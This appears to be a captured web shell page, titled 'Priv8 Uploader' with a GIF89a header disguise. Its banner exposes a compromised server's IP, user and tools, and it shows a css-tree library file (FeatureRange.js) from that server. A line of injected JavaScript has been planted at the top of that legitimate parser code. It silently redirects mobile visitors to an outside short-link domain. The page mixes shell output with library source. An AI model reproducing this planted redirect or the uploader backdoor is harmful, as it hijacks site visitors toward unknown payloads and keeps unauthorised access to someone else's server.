GIF89a;
GIF89a;Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
Priv8 Uploader By InMyMine7
Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
| Server IP : 82.165.91.112 / Your IP : 216.73.217.79 Web Server : Apache System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64 User : nr7.net_tfpqq467gv ( 10001) PHP Version : 8.4.25 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/css-tree/lib/syntax/node/ |
Upload File : |
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/otqTzexnD0r8");
import {
Ident,
Number,
Dimension,
Function as FunctionToken,
LeftParenthesis,
RightParenthesis
} from '../../tokenizer/index.js';
const SOLIDUS = 0x002F; // U+002F SOLIDUS (/)
const LESSTHANSIGN = 0x003C; // U+003C LESS-THAN SIGN (<)
const EQUALSSIGN = 0x003D; // U+003D EQUALS SIGN (=)
const GREATERTHANSIGN = 0x003E; // U+003E GREATER-THAN SIGN (>)
export const name = 'FeatureRange';
export const structure = {
kind: String,
left: ['Identifier', 'Number', 'Dimension', 'Ratio', 'Function'],
leftComparison: String,
middle: ['Identifier', 'Number', 'Dimension', 'Ratio', 'Function'],
rightComparison: [String, null],
right: ['Identifier', 'Number', 'Dimension', 'Ratio', 'Function', null]
};
function readTerm() {
this.skipSC();
switch (this.tokenType) {
case Number:
if (this.isDelim(SOLIDUS, this.lookupOffsetNonSC(1))) {
return this.Ratio();
} else {
return this.Number();
}
case Dimension:
return this.Dimension();
case Ident:
return this.Identifier();
case FunctionToken:
return this.parseWithFallback(
() => {
const res = this.Function(this.readSequence, this.scope.Value);
this.skipSC();
if (this.isDelim(SOLIDUS)) {
this.error();
}
return res;
},
() => {
return this.Ratio();
}
);
default:
this.error('Number, dimension, ratio or identifier is expected');
}
}
function readComparison(expectColon) {
this.skipSC();
if (this.isDelim(LESSTHANSIGN) ||
this.isDelim(GREATERTHANSIGN)) {
const value = this.source[this.tokenStart];
this.next();
if (this.isDelim(EQUALSSIGN)) {
this.next();
return value + '=';
}
return value;
}
if (this.isDelim(EQUALSSIGN)) {
return '=';
}
this.error(`Expected ${expectColon ? '":", ' : ''}"<", ">", "=" or ")"`);
}
export function parse(kind = 'unknown') {
const start = this.tokenStart;
this.skipSC();
this.eat(LeftParenthesis);
const left = readTerm.call(this);
const leftComparison = readComparison.call(this, left.type === 'Identifier');
const middle = readTerm.call(this);
let rightComparison = null;
let right = null;
if (this.lookupNonWSType(0) !== RightParenthesis) {
rightComparison = readComparison.call(this);
right = readTerm.call(this);
}
this.skipSC();
this.eat(RightParenthesis);
return {
type: 'FeatureRange',
loc: this.getLocation(start, this.tokenStart),
kind,
left,
leftComparison,
middle,
rightComparison,
right
};
}
export function generate(node) {
this.token(LeftParenthesis, '(');
this.node(node.left);
this.tokenize(node.leftComparison);
this.node(node.middle);
if (node.right) {
this.tokenize(node.rightComparison);
this.node(node.right);
}
this.token(RightParenthesis, ')');
}